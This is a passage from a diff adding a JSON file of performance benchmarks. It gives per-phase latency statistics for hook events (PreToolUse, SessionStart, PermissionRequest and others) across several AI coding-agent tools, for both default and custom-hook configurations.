59.69, + 64.18, + 65.99 + ], + "configLoad": [ + 0.54, + 0.62, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.31, + 3.95, + 4.07 + ], + "e2e": [ + 64.28, + 68.57, + 70.75 + ] + }, + "e2eMean": 64.34, + "e2eStddev": 2.41, + "e2eMin": 59.58, + "e2eMax": 70.75 + }, + "antigravity|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.67, + 66.08, + 69.86 + ], + "configLoad": [ + 0.53, + 0.61, + 0.63 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.29, + 0.3 + ], + "other": [ + 3.33, + 3.95, + 4.37 + ], + "e2e": [ + 65.02, + 70.97, + 73.84 + ] + }, + "e2eMean": 64.97, + "e2eStddev": 2.97, + "e2eMin": 60.46, + "e2eMax": 73.84 + }, + "antigravity|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.6, + 65.88, + 71.24 + ], + "configLoad": [ + 0.54, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.32 + ], + "other": [ + 3.5, + 3.94, + 4.11 + ], + "e2e": [ + 65.05, + 70.65, + 75.7 + ] + }, + "e2eMean": 65.18, + "e2eStddev": 3.08, + "e2eMin": 59.26, + "e2eMax": 75.7 + }, + "antigravity|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.87, + 68.16, + 71.49 + ], + "configLoad": [ + 0.54, + 0.59, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.31, + 3.83, + 4 + ], + "e2e": [ + 66.31, + 72.78, + 76.27 + ] + }, + "e2eMean": 66.46, + "e2eStddev": 3.14, + "e2eMin": 60.55, + "e2eMax": 76.27 + }, + "antigravity|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.27, + 69.88, + 71.98 + ], + "configLoad": [ + 0.55, + 0.62, + 0.62 + ], + "evaluate": [ + 0.17, + 0.19, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.35, + 3.99, + 4.05 + ], + "e2e": [ + 66.49, + 74.86, + 75.76 + ] + }, + "e2eMean": 66.79, + "e2eStddev": 3.77, + "e2eMin": 59.87, + "e2eMax": 75.76 + }, + "antigravity|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.11, + 69.38, + 70.09 + ], + "configLoad": [ + 0.55, + 0.68, + 1.01 + ], + "evaluate": [ + 0.16, + 0.19, + 0.28 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.34, + 3.93, + 3.97 + ], + "e2e": [ + 66.55, + 73.96, + 75.43 + ] + }, + "e2eMean": 66.65, + "e2eStddev": 3.55, + "e2eMin": 59.78, + "e2eMax": 75.43 + }, + "goose|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.99, + 66.94, + 68.93 + ], + "configLoad": [ + 0.54, + 0.58, + 0.63 + ], + "evaluate": [ + 0.16, + 0.19, + 0.26 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.28, + 3.85, + 3.89 + ], + "e2e": [ + 66.38, + 70.55, + 73.79 + ] + }, + "e2eMean": 66.12, + "e2eStddev": 2.99, + "e2eMin": 59.99, + "e2eMax": 73.79 + }, + "goose|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.21, + 65.3, + 67.15 + ], + "configLoad": [ + 0.55, + 0.59, + 0.61 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.32 + ], + "other": [ + 3.44, + 3.8, + 3.94 + ], + "e2e": [ + 65.54, + 69.67, + 71.73 + ] + }, + "e2eMean": 65.69, + "e2eStddev": 2.92, + "e2eMin": 59.83, + "e2eMax": 71.73 + }, + "goose|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.35, + 65.94, + 70.44 + ], + "configLoad": [ + 0.54, + 0.61, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.28 + ], + "other": [ + 3.45, + 3.89, + 4.08 + ], + "e2e": [ + 65.95, + 70.61, + 75.38 + ] + }, + "e2eMean": 65.84, + "e2eStddev": 2.83, + "e2eMin": 60.9, + "e2eMax": 75.38 + }, + "goose|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 61.71, + 67.31, + 72.65 + ], + "configLoad": [ + 0.55, + 0.59, + 0.61 + ], + "evaluate": [ + 1.06, + 1.11, + 1.16 + ], + "encode": [ + 0.26, + 0.29, + 0.32 + ], + "other": [ + 3.43, + 3.74, + 3.85 + ], + "e2e": [ + 66.56, + 72.34, + 78.09 + ] + }, + "e2eMean": 67.2, + "e2eStddev": 3.24, + "e2eMin": 61.11, + "e2eMax": 78.09 + }, + "goose|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 61.14, + 68.18, + 73.22 + ], + "configLoad": [ + 0.55, + 0.62, + 0.64 + ], + "evaluate": [ + 0.31, + 0.34, + 0.36 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 3.29, + 3.99, + 4.08 + ], + "e2e": [ + 65.87, + 72.72, + 77.46 + ] + }, + "e2eMean": 66.09, + "e2eStddev": 3.27, + "e2eMin": 60.32, + "e2eMax": 77.46 + }, + "goose|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.38, + 70.26, + 73.02 + ], + "configLoad": [ + 0.54, + 0.61, + 1.11 + ], + "evaluate": [ + 0.16, + 0.18, + 0.27 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 3.44, + 3.87, + 3.93 + ], + "e2e": [ + 65.85, + 74.23, + 76.8 + ] + }, + "e2eMean": 66.28, + "e2eStddev": 3.44, + "e2eMin": 59.06, + "e2eMax": 76.8 + }, + "goose|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 61.85, + 67.63, + 70.53 + ], + "configLoad": [ + 0.54, + 0.6, + 0.99 + ], + "evaluate": [ + 0.57, + 0.63, + 1.02 + ], + "encode": [ + 0.26, + 0.3, + 0.34 + ], + "other": [ + 3.39, + 3.77, + 3.92 + ], + "e2e": [ + 66.68, + 72.82, + 75.64 + ] + }, + "e2eMean": 67.11, + "e2eStddev": 3.53, + "e2eMin": 60.26, + "e2eMax": 75.64 + }, + "goose|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.26, + 66.8, + 74.16 + ], + "configLoad": [ + 0.56, + 0.59, + 0.65 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.62, + 3.92, + 4.04 + ], + "e2e": [ + 66.87, + 71.58, + 78.12 + ] + }, + "e2eMean": 66.93, + "e2eStddev": 3.03, + "e2eMin": 62.22, + "e2eMax": 78.12 + }, + "goose|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.17, + 67.27, + 70.49 + ], + "configLoad": [ + 0.54, + 0.6, + 1.02 + ], + "evaluate": [ + 0.16, + 0.19, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 3.38, + 3.92, + 4.01 + ], + "e2e": [ + 65.38, + 72.06, + 74.86 + ] + }, + "e2eMean": 66.07, + "e2eStddev": 3.28, + "e2eMin": 60.3, + "e2eMax": 74.86 + }, + "goose|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.44, + 66.44, + 69.43 + ], + "configLoad": [ + 0.55, + 0.61, + 0.84 + ], + "evaluate": [ + 0.17, + 0.18, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.42 + ], + "other": [ + 3.34, + 3.83, + 3.91 + ], + "e2e": [ + 65.91, + 71.04, + 73.45 + ] + }, + "e2eMean": 65.83, + "e2eStddev": 3.01, + "e2eMin": 60.06, + "e2eMax": 73.45 + }, + "goose|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.79, + 68.63, + 71.17 + ], + "configLoad": [ + 0.55, + 0.6, + 0.73 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.43 + ], + "other": [ + 3.25, + 3.91, + 4.02 + ], + "e2e": [ + 66.12, + 72.94, + 76.13 + ] + }, + "e2eMean": 66.52, + "e2eStddev": 3.29, + "e2eMin": 61.51, + "e2eMax": 76.13 + }, + "goose|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.94, + 67.01, + 67.64 + ], + "configLoad": [ + 0.55, + 0.59, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 3.27, + 4, + 4.02 + ], + "e2e": [ + 64.89, + 70.57, + 72.11 + ] + }, + "e2eMean": 65.3, + "e2eStddev": 2.85, + "e2eMin": 60.24, + "e2eMax": 72.11 + }, + "goose|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.72, + 66.23, + 70.07 + ], + "configLoad": [ + 0.54, + 0.6, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.3 + ], + "encode": [ + 0.25, + 0.27, + 0.32 + ], + "other": [ + 3.46, + 3.76, + 3.89 + ], + "e2e": [ + 66.12, + 70.85, + 74.5 + ] + }, + "e2eMean": 65.94, + "e2eStddev": 3.17, + "e2eMin": 60.45, + "e2eMax": 74.5 + }, + "goose|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.24, + 66.3, + 66.9 + ], + "configLoad": [ + 0.53, + 0.6, + 0.63 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.33, + 3.95, + 4.02 + ], + "e2e": [ + 64.63, + 70.64, + 71.95 + ] + }, + "e2eMean": 64.91, + "e2eStddev": 2.97, + "e2eMin": 60, + "e2eMax": 71.95 + }, + "goose|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.49, + 66.18, + 73.6 + ], + "configLoad": [ + 0.55, + 0.61, + 0.7 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.28, + 4.06, + 4.1 + ], + "e2e": [ + 65.74, + 70.64, + 77.34 + ] + }, + "e2eMean": 66.01, + "e2eStddev": 3.22, + "e2eMin": 60.64, + "e2eMax": 77.34 + }, + "goose|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.83, + 62.96, + 65.91 + ], + "configLoad": [ + 0.53, + 0.57, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.26, + 0.26 + ], + "other": [ + 3.21, + 3.9, + 4.17 + ], + "e2e": [ + 64.32, + 67.52, + 70.04 + ] + }, + "e2eMean": 64.24, + "e2eStddev": 2.27, + "e2eMin": 58.75, + "e2eMax": 70.04 + }, + "goose|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.87, + 67.82, + 68.45 + ], + "configLoad": [ + 0.54, + 0.59, + 0.64 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 3.42, + 3.87, + 4.05 + ], + "e2e": [ + 66.13, + 72.15, + 73.24 + ] + }, + "e2eMean": 66.27, + "e2eStddev": 2.84, + "e2eMin": 60.53, + "e2eMax": 73.24 + }, + "goose|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.61, + 65.57, + 68.11 + ], + "configLoad": [ + 0.55, + 0.62, + 0.65 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.49, + 3.91, + 4.03 + ], + "e2e": [ + 66.2, + 70.38, + 72.16 + ] + }, + "e2eMean": 65.87, + "e2eStddev": 2.67, + "e2eMin": 60.16, + "e2eMax": 72.16 + }, + "goose|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.14, + 68.19, + 69.69 + ], + "configLoad": [ + 0.55, + 0.61, + 1.06 + ], + "evaluate": [ + 0.17, + 0.19, + 0.29 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.22, + 3.76, + 3.84 + ], + "e2e": [ + 66.27, + 72.86, + 73.33 + ] + }, + "e2eMean": 66.27, + "e2eStddev": 3.29, + "e2eMin": 60.45, + "e2eMax": 73.33 + }, + "goose|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.8, + 73.53, + 83.16 + ], + "configLoad": [ + 0.55, + 0.67, + 1.09 + ], + "evaluate": [ + 0.17, + 0.2, + 0.35 + ], + "encode": [ + 0.25, + 0.29, + 0.37 + ], + "other": [ + 3.3, + 3.9, + 4.02 + ], + "e2e": [ + 66.21, + 78.09, + 87.98 + ] + }, + "e2eMean": 67.06, + "e2eStddev": 5.06, + "e2eMin": 60.67, + "e2eMax": 87.98 + }, + "goose|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 82.62, + 123.69, + 124.67 + ], + "configLoad": [ + 0.73, + 1.34, + 1.52 + ], + "evaluate": [ + 0.21, + 0.34, + 0.34 + ], + "encode": [ + 0.32, + 0.58, + 0.8 + ], + "other": [ + 3.85, + 7.94, + 11.03 + ], + "e2e": [ + 91.1, + 130.72, + 137.17 + ] + }, + "e2eMean": 91.51, + "e2eStddev": 24.02, + "e2eMin": 60.75, + "e2eMax": 137.17 + }, + "goose|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.89, + 63.1, + 63.47 + ], + "configLoad": [ + 0.54, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.31, + 4.31, + 4.38 + ], + "e2e": [ + 64, + 67.27, + 68.02 + ] + }, + "e2eMean": 64.16, + "e2eStddev": 2.27, + "e2eMin": 59.24, + "e2eMax": 68.02 + }, + "goose|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.91, + 65.59, + 67.79 + ], + "configLoad": [ + 0.54, + 0.64, + 0.7 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.29, + 4.1, + 4.22 + ], + "e2e": [ + 65.18, + 70.5, + 71.91 + ] + }, + "e2eMean": 65.4, + "e2eStddev": 2.98, + "e2eMin": 60.15, + "e2eMax": 71.91 + }, + "goose|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.69, + 64.86, + 67.89 + ], + "configLoad": [ + 0.55, + 0.7, + 0.88 + ], + "evaluate": [ + 0.16, + 0.19, + 0.22 + ], + "encode": [ + 0.25, + 0.29, + 0.38 + ], + "other": [ + 3.5, + 3.88, + 3.97 + ], + "e2e": [ + 65.28, + 69.69, + 71.98 + ] + }, + "e2eMean": 65.48, + "e2eStddev": 2.54, + "e2eMin": 60.04, + "e2eMax": 71.98 + }, + "goose|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.96, + 65.24, + 66.45 + ], + "configLoad": [ + 0.55, + 0.64, + 1.03 + ], + "evaluate": [ + 0.17, + 0.24, + 0.29 + ], + "encode": [ + 0.25, + 0.34, + 0.39 + ], + "other": [ + 3.42, + 3.93, + 4.2 + ], + "e2e": [ + 65.33, + 69.34, + 70.95 + ] + }, + "e2eMean": 65.31, + "e2eStddev": 2.45, + "e2eMin": 61.34, + "e2eMax": 70.95 + }, + "goose|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.09, + 66.01, + 70.2 + ], + "configLoad": [ + 0.54, + 0.6, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 3.19, + 3.86, + 4.05 + ], + "e2e": [ + 65.23, + 70.61, + 73.75 + ] + }, + "e2eMean": 65.27, + "e2eStddev": 3.05, + "e2eMin": 59.98, + "e2eMax": 73.75 + }, + "goose|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.18, + 63.68, + 66.1 + ], + "configLoad": [ + 0.54, + 0.6, + 0.77 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.37, + 3.85, + 3.98 + ], + "e2e": [ + 64.53, + 67.82, + 70.71 + ] + }, + "e2eMean": 64.71, + "e2eStddev": 2.1, + "e2eMin": 60.41, + "e2eMax": 70.71 + }, + "goose|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.05, + 65.85, + 69.13 + ], + "configLoad": [ + 0.54, + 0.69, + 1.04 + ], + "evaluate": [ + 0.16, + 0.2, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.53, + 3.95, + 4.03 + ], + "e2e": [ + 65.49, + 70.45, + 74.64 + ] + }, + "e2eMean": 65.6, + "e2eStddev": 2.71, + "e2eMin": 60.86, + "e2eMax": 74.64 + }, + "goose|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.35, + 65.55, + 66.29 + ], + "configLoad": [ + 0.54, + 0.6, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.29 + ], + "other": [ + 3.46, + 3.87, + 3.91 + ], + "e2e": [ + 65.88, + 69.59, + 71.04 + ] + }, + "e2eMean": 65.5, + "e2eStddev": 2.6, + "e2eMin": 58.52, + "e2eMax": 71.04 + } + }, + "custom": { + "claude|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.48, + 65.83, + 66.71 + ], + "configLoad": [ + 4.11, + 7.19, + 7.93 + ], + "evaluate": [ + 0.15, + 0.17, + 0.26 + ], + "encode": [ + 0.25, + 0.32, + 0.4 + ], + "other": [ + 1.58, + 1.92, + 3.71 + ], + "e2e": [ + 67.69, + 72.12, + 73.75 + ] + }, + "e2eMean": 67.8, + "e2eStddev": 2.29, + "e2eMin": 63.7, + "e2eMax": 73.75 + }, + "claude|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.12, + 65.88, + 71.73 + ], + "configLoad": [ + 3.98, + 6.88, + 37.98 + ], + "evaluate": [ + 0.14, + 0.16, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.59, + 1.79, + 3.46 + ], + "e2e": [ + 66.71, + 71.95, + 113.78 + ] + }, + "e2eMean": 67.99, + "e2eStddev": 7.08, + "e2eMin": 61.53, + "e2eMax": 113.78 + }, + "claude|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.83, + 63.95, + 70.11 + ], + "configLoad": [ + 4.01, + 6.9, + 11.17 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.59, + 1.81, + 1.85 + ], + "e2e": [ + 66.8, + 70.85, + 75.44 + ] + }, + "e2eMean": 66.66, + "e2eStddev": 2.93, + "e2eMin": 60.42, + "e2eMax": 75.44 + }, + "claude|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 60.15, + 65.96, + 66.37 + ], + "configLoad": [ + 4.04, + 7.59, + 37.95 + ], + "evaluate": [ + 1.13, + 1.23, + 1.33 + ], + "encode": [ + 0.26, + 0.29, + 0.3 + ], + "other": [ + 1.6, + 1.92, + 4.53 + ], + "e2e": [ + 67.47, + 73.26, + 105.21 + ] + }, + "e2eMean": 68.92, + "e2eStddev": 5.83, + "e2eMin": 63.39, + "e2eMax": 105.21 + }, + "claude|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 60.65, + 64.2, + 66.46 + ], + "configLoad": [ + 4, + 8.08, + 38.36 + ], + "evaluate": [ + 0.28, + 0.31, + 0.32 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.62, + 1.87, + 3.59 + ], + "e2e": [ + 67.2, + 72.67, + 100.92 + ] + }, + "e2eMean": 67.8, + "e2eStddev": 5.35, + "e2eMin": 62.84, + "e2eMax": 100.92 + }, + "claude|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.53, + 64.59, + 65.61 + ], + "configLoad": [ + 4.08, + 7.54, + 9.22 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.6, + 1.85, + 1.97 + ], + "e2e": [ + 66.86, + 71.67, + 74.25 + ] + }, + "e2eMean": 67.18, + "e2eStddev": 2.87, + "e2eMin": 62.07, + "e2eMax": 74.25 + }, + "claude|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 60.94, + 65.2, + 72.69 + ], + "configLoad": [ + 4.03, + 7.17, + 7.83 + ], + "evaluate": [ + 0.65, + 0.7, + 0.85 + ], + "encode": [ + 0.26, + 0.28, + 0.29 + ], + "other": [ + 1.56, + 1.86, + 3.32 + ], + "e2e": [ + 67.96, + 72.75, + 78.34 + ] + }, + "e2eMean": 67.97, + "e2eStddev": 3.03, + "e2eMin": 61.44, + "e2eMax": 78.34 + }, + "claude|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.19, + 65.73, + 66.06 + ], + "configLoad": [ + 4, + 7.57, + 38.37 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.62, + 1.85, + 3.2 + ], + "e2e": [ + 66.08, + 71.84, + 107.72 + ] + }, + "e2eMean": 67.47, + "e2eStddev": 6.39, + "e2eMin": 62.86, + "e2eMax": 107.72 + }, + "claude|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.36, + 65.37, + 67.76 + ], + "configLoad": [ + 4.08, + 7.24, + 38.61 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.41 + ], + "other": [ + 1.58, + 1.91, + 3.85 + ], + "e2e": [ + 67.65, + 73.12, + 104.68 + ] + }, + "e2eMean": 68.3, + "e2eStddev": 5.95, + "e2eMin": 61.64, + "e2eMax": 104.68 + }, + "claude|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.79, + 65.18, + 68.26 + ], + "configLoad": [ + 3.96, + 4.7, + 7.18 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 1.56, + 1.77, + 1.87 + ], + "e2e": [ + 66.63, + 71.3, + 74.96 + ] + }, + "e2eMean": 67.08, + "e2eStddev": 2.88, + "e2eMin": 62.36, + "e2eMax": 74.96 + }, + "claude|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.56, + 67.67, + 79.46 + ], + "configLoad": [ + 4.02, + 7.05, + 7.31 + ], + "evaluate": [ + 0.14, + 0.19, + 0.25 + ], + "encode": [ + 0.25, + 0.3, + 0.38 + ], + "other": [ + 1.61, + 1.81, + 2.08 + ], + "e2e": [ + 67.95, + 73.67, + 85.54 + ] + }, + "e2eMean": 68.51, + "e2eStddev": 4.22, + "e2eMin": 61.7, + "e2eMax": 85.54 + }, + "claude|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.42, + 65.56, + 69.81 + ], + "configLoad": [ + 4.03, + 7.34, + 7.75 + ], + "evaluate": [ + 0.14, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.55, + 1.82, + 3.59 + ], + "e2e": [ + 67.07, + 72.41, + 75.1 + ] + }, + "e2eMean": 67.03, + "e2eStddev": 2.98, + "e2eMin": 62.29, + "e2eMax": 75.1 + }, + "claude|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.52, + 65.31, + 71.25 + ], + "configLoad": [ + 4.07, + 7.17, + 7.77 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.61, + 1.83, + 1.93 + ], + "e2e": [ + 66.73, + 71.62, + 77.72 + ] + }, + "e2eMean": 67.04, + "e2eStddev": 3.04, + "e2eMin": 62.35, + "e2eMax": 77.72 + }, + "claude|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.85, + 65.77, + 66.54 + ], + "configLoad": [ + 4, + 7.27, + 38.49 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.6, + 1.77, + 3.93 + ], + "e2e": [ + 68.46, + 72.39, + 100.45 + ] + }, + "e2eMean": 68.34, + "e2eStddev": 5.4, + "e2eMin": 62.2, + "e2eMax": 100.45 + }, + "claude|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.97, + 68.07, + 79.9 + ], + "configLoad": [ + 3.94, + 7.61, + 37.78 + ], + "evaluate": [ + 0.14, + 0.16, + 0.25 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.59, + 3.24, + 4.58 + ], + "e2e": [ + 67.11, + 74.15, + 105.34 + ] + }, + "e2eMean": 68.34, + "e2eStddev": 6.66, + "e2eMin": 62.03, + "e2eMax": 105.34 + }, + "claude|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.56, + 67.08, + 69.37 + ], + "configLoad": [ + 4.07, + 7.48, + 38.14 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.59, + 1.93, + 3.69 + ], + "e2e": [ + 67.91, + 74.36, + 103.77 + ] + }, + "e2eMean": 68.98, + "e2eStddev": 5.92, + "e2eMin": 62.1, + "e2eMax": 103.77 + }, + "claude|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.01, + 70.84, + 72.01 + ], + "configLoad": [ + 3.99, + 4.62, + 38.58 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.56, + 1.82, + 3.26 + ], + "e2e": [ + 68.05, + 77.31, + 106.24 + ] + }, + "e2eMean": 68.85, + "e2eStddev": 6.63, + "e2eMin": 60.85, + "e2eMax": 106.24 + }, + "claude|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.3, + 64.87, + 70.29 + ], + "configLoad": [ + 4.06, + 7.18, + 7.42 + ], + "evaluate": [ + 0.15, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.41 + ], + "other": [ + 1.58, + 1.76, + 1.88 + ], + "e2e": [ + 67.76, + 71.76, + 75.11 + ] + }, + "e2eMean": 67.62, + "e2eStddev": 2.55, + "e2eMin": 61.84, + "e2eMax": 75.11 + }, + "claude|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.6, + 67.9, + 68.75 + ], + "configLoad": [ + 3.99, + 7.38, + 7.92 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.29, + 0.39 + ], + "other": [ + 1.56, + 1.84, + 4.12 + ], + "e2e": [ + 67.86, + 73.79, + 74.56 + ] + }, + "e2eMean": 68.13, + "e2eStddev": 3.09, + "e2eMin": 62.63, + "e2eMax": 74.56 + }, + "claude|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.74, + 70.01, + 71.75 + ], + "configLoad": [ + 4.02, + 6.49, + 9.09 + ], + "evaluate": [ + 0.14, + 0.17, + 0.24 + ], 